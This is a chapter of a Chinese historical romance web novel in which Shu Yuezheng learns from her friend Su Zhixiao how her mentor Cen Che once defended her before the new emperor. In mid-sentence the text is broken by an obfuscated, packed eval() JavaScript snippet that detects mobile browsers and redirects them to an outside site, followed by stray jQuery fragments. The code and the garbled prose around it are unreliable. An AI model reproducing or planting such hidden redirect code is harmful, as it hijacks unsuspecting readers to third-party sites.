55. 误佳期(十五)·品悦轩

作品:《亲了太傅大人一口后

    书越筝思及此处,忽而叫停了马车,车夫勒马停在一侧等候着书越筝的指令。


    “等一下……”


    既然书方沁的前世悔婚背后有难言之隐。


    那岑澈呢?


    那所谓征纳聘礼摆了满院,岑家长辈亲自请求的赐婚,背后又有着怎样不为她所知的隐情呢?


    尽管她早已对岑澈说过,此前过往不论。如今再去探问免不得会让他觉得自己还是耿耿于怀,他心思最为细腻,无论如何都不该再去问他。


    可宁愿离开岑府独自居于南阁的他,自分别后时时将她所赠狐裘穿在身上的他,分明对她也生出情意的他,已经在朝堂站稳脚跟的他,岑家何必要多此一举去向新帝请求什么赐婚?而岑澈在娶亲一事上为何会毫无缘由变得如此干脆利落?


    岑家人究竟是用了什么手段让岑澈变得心甘情愿。


    书越筝垂下眉睫,思量良久,最终想起了一人。


    “去城北吧。”


    马车匆匆驶向城北,停靠在品悦轩附近。


    品悦轩只余掌柜的与几个小厮在整理画作,见书越筝来,掌柜连忙迎上来道:“姑娘来了。”


    “你们东家在吗?”书越筝心急如焚,有些隐隐约约的猜测在脑海盘桓却又让她无法相信,话音也变得急促了些。


    “东家也是刚到不久,如今在后院。”掌柜的给书越筝指了指后院。


    书越筝颔首致意随即提起衣摆小跑几步。


    微风和煦,日头渐盛。


    前不久因雨季阴雨连绵,苏枝筱怕书画泛潮便将其都置于书画架上,同侍女小厮们将那些搁置在木箱中的画作相继搬出。画作不若书法名作,最见不得烈日暴晒,思量片刻,苏枝筱望着那些木箱开口道:“把那几个樟木箱都挪出院中晒晒。”


    “是,东家。”几个小厮得了吩咐,也相继开始动作。


    “筱筱!”


    苏枝筱方才合上房门,正欲提步出门便听得熟悉女声传来。一转头,便看见书越筝急匆匆从廊道阶梯三步化两步地一跃而下,穿过小厮冲向她,发丝都跑得凌乱。


    在苏枝筱心中,书越筝向来是冷静淡然掌控全局的人,鲜少见她如此狼狈的时刻。


    “怎么了这是?”苏枝筱连忙上前迎她。


    “我想知道……”书越筝看着苏枝筱关切的眼神,喘了口气才继续道,“我有些事情想知道,筱筱,你能告诉我吗?”


    看了她半晌,苏枝筱终于心下了然。书越筝的确是冷静睿智的,只是这样的人也会有自己的软肋,而书越筝的软肋便只有那一个。


    是岑澈。


    思及此处,苏枝筱噗嗤一声笑了起来。认真对上她的眸子,拉着她进了一侧房中,关好门窗道:“好,你说说,关于你师父的事情你还想知道什么?”


    “他当年究竟为什么……”话到嘴边时书越筝止住了话音,她不知道这样的询问对于苏枝筱而言是否算得上冒犯。即将脱口而出的话拐了个弯,书越筝后知后觉道,“你怎么知道我要问什么?”


    “能让你露出这幅牵肠挂肚模样的,也就只有那一个人了。”苏枝筱温声道,“而你对他的在意,不都是人尽皆知的事情吗?”


    “你是想知道他当年为什么要娶我?还是想知道当年究竟发生了什么事?”苏枝筱适时补上了她的话。


    书越筝被这几句话钉在原地,对于苏枝筱这种打趣的话,她甚至连一个字都反驳不了。她从前世就是这样,对于岑澈总是依赖得太过明显,那份喜欢也格外显眼。


    “是。”书越筝不再辩驳,她大大方方认下苏枝筱的打趣,“我想问问筱筱,你可知道当年我离开洛阳后,师父到底发生了什么事?”


    苏枝筱望向她的眼神带着几分怜惜,最终全部化作释然,她抿唇顿了一瞬,随即温声开口道:“一切皆是选择罢了,当年每个人都有各自的身不由己。”


    “正如女帝被刺杀后你撕毁诏书拒不受降,驱敌上千里誓要诛灭敌军一样,你守的是麟昭女帝,而岑大人……”苏枝筱对上书越筝探问的目光,轻笑道,“他守的是你。”


    “我?”书越筝一头雾水。


    “当年女帝重伤未愈,朝臣对于政局皆是摇摆不定,并未下定决心认其为帝。而岑大人是第一个站出来的。”苏枝筱的话音不轻不重,像是一记重锤深深击中书越筝。


    他一生都始终以自己的方式恪守自己的原则。他为何违逆旧主,万一女帝没死且原路返回,他又该如何自处?


    “是因为我吗?”书越筝道。


    “也不全是。”苏枝筱偏开视线,“这时候或许更多是为了岑家。”


    “那时朝臣对你拒不受降一事颇有微词,他拥护新帝又常年为其授书。此举后也顺其自然地成为了帝师,待他在朝中站稳脚跟,大权在握后的第一件事就是处理了几个爱嚼舌根的史官,左右不过贬职罚奉,却也遏制住了朝中非议。”


    “按筱筱所说,师父该是新帝面前的红人,可怎么会?”书越筝眉头紧蹙。


    在她的印象里,前世的岑澈与郑知彦关系简直降到冰点。


    “本来是该相安无事的,可不知为何,忽有一日新帝铁了心要处理你。”


    “然后呢?”书越筝手心渗出了细汗,她隐约感觉那烦扰她的真相正在缓缓浮出水面,因而颇为急切地追问道。


    “那日,新帝怒火攻心竟是直接想要你性命。岑大人见事无转圜,竟直接脱官帽免绶带,字句铿锵据理力争。你也知道,他待人向来宽厚,何时如此言辞犀利过?”


    “新帝面如菜色,竟是将对你的不满桩桩件件倒豆般倾泻而出。岑澈立于堂下,面带愠色,一桩一件皆是你在燕地的功绩,是你加筑边境防线,是你提出了更换武器,是你操练兵马,是你在前线为了大虞的一方土地抛头颅洒热血。”


    “他怒斥新帝对边境百姓苦难视而不见,边境许多人甚至只能居处简陋,还要常常遭遇劫掠,可他却主和,简直是滑天下之大稽。话到最后,是岑大人问新帝,可否见过边境蓟州的月亮。”


    “烟波浩渺,风沙骤起时,一方弯月只有咫尺之遥,几乎是触手可及。可这样清雅幽然的月亮,边境蓟州的百姓却很少能欣赏。”


    书越筝听着苏枝筱的话,脑海中几乎浮现了岑澈的脸,缄默良久,书越筝笑了起来,那笑声中的情愫,苏枝筱辩不明朗。


    “真不愧是我师父。”书越筝喃喃道,“跟我说的话都一模一样。”


    “什么?”苏枝筱没想到她会是这样的反应。


    “我师父说得不太对。”书越筝想起那时的旧事,“当年郑知彦来过蓟州的。”


    女帝最终猝然长逝那段日子,书越筝罕见地在蓟州看到了郑知彦,他似是避着人群偷偷摸摸混入军营,最终却被书越筝抓了个正着。


    书越筝那时不懂,他一个皇帝,为何还要亲自来蓟州确认女帝生死,而他又是如何避开军营之中重重关卡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371119|181531||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    抵达戒备森严的营帐。


    当他恶狠狠地将那双手覆上女帝脖颈时,书越筝恰好撞破了这场景,她不由分说地打断了他,上前扯着他的衣袖便将其拖开。


    “安帝果决,惠帝温良,二人携手挽大厦之将倾,群臣皆叩服称拜。而惠帝二女亦载大虞遗风,长女靖德以公主之躯驻守边关,未允边境匈奴踏进中原一步。皇长女麟昭,爱民如子,摄政以来常常开源节流,时时为民着想,以得民心。


    “正是因为这些人,群臣信任你,百姓依赖你,就连远在边境的将士们都不约而同地对你这个将将临位的新帝笃信之至。”


    “可你呢?!联敌灭将,虚伪懦弱,表里不一!你把你的百姓当成什么?你把我蓟州数十万兵马当成什么?你把这个皇位究竟当成什么?!”


    新帝为继承皇位居然不远万里来到蓟州迫害女帝性命,传出去不免要失信于民。最终为了避免动静闹得太大,由崇雎亲自暗中将他送回洛阳。


    “筱筱,这是我最后一次问你这些,也是我最后一次向你打探岑澈的事情,我向你保证。”书越筝收回思绪,认真地看着面前身姿卓绝的少女,“谢谢你愿意将这些事情告诉我。”


    “我们不是朋友吗?何必如此客气。”苏枝筱也笑了起来,起身就要去拉开房门,却听得身后又传来一阵不轻不重的声音。


    “筱筱,假如有一天你姐姐和苏家站在对立面,你会选谁?”


    闻言,苏枝筱转过身认真道:“所谓家族,不正是由一个个活生生的人拼凑的吗?我自幼丧母,若是没有姐姐也就没有如今的我。倘若苏家没有姐姐,于我而言,与其他什么王氏张氏也并无不同。”


    书越筝听了这话,也带着几分释然笑了起来,她上前走在苏枝筱身侧道:“我也是这样想的。”


    待到离开品悦轩时,书越筝心头已经缓缓将前世的事情拼凑得七七八八,她也终于明白了为何最终自己会落得那样凄惨的结局。


    陷于思绪的书越筝没注意身侧来人,竟被直直撞到后撤几步,她才大梦初醒般回过神来。


    “姑娘不好意思,你没伤着吧……”


    少年人的声音格外耳熟,书越筝定睛一看,才发现这是那个昨日廊下的朱衣少年郎,贺家二公子贺翊。


    “原来是书二姑娘,好久不见。你看着精神多了。”贺翊仔细打量着书越筝,笑意也不改半分,“听闻你一直在别院养病,最近才回洛阳,不知你的病如何了?”


    “已然痊愈了,多谢小贺大人挂怀。”书越筝将视线投向贺翊,视线投向他怀里的木匣,状似不经意道,“小贺大人这是?”


    “书姐姐前段时间说喜欢姑苏名家山间日月的画作,可惜这位名家鲜少有画作售卖,我听说这品悦轩中这世间罕见珍品画作也能寻到,便想来试试运气。”贺翊向书越筝解释道。


    “原是如此。”书越筝心下了然,“我还有急事便先走了,改日再同小贺大人细谈。”


    “好。”贺翊闻言颔首道别,“对了,过些日子春猎,不知书姐姐去吗?”


    “按照往年惯例,阿姐应该是去的。”书越筝垂眸思索片刻道。


    “那就好,书二姑娘慢走。”


    “小贺大人告辞。”


    二人告别后书越筝上了马车,温声开口:“去南阁。”


    与此同时,南阁中祁晖匆匆向书房而去,合上房门后对着房中人压低声音道:“大人上次让我找的人,有线索了。”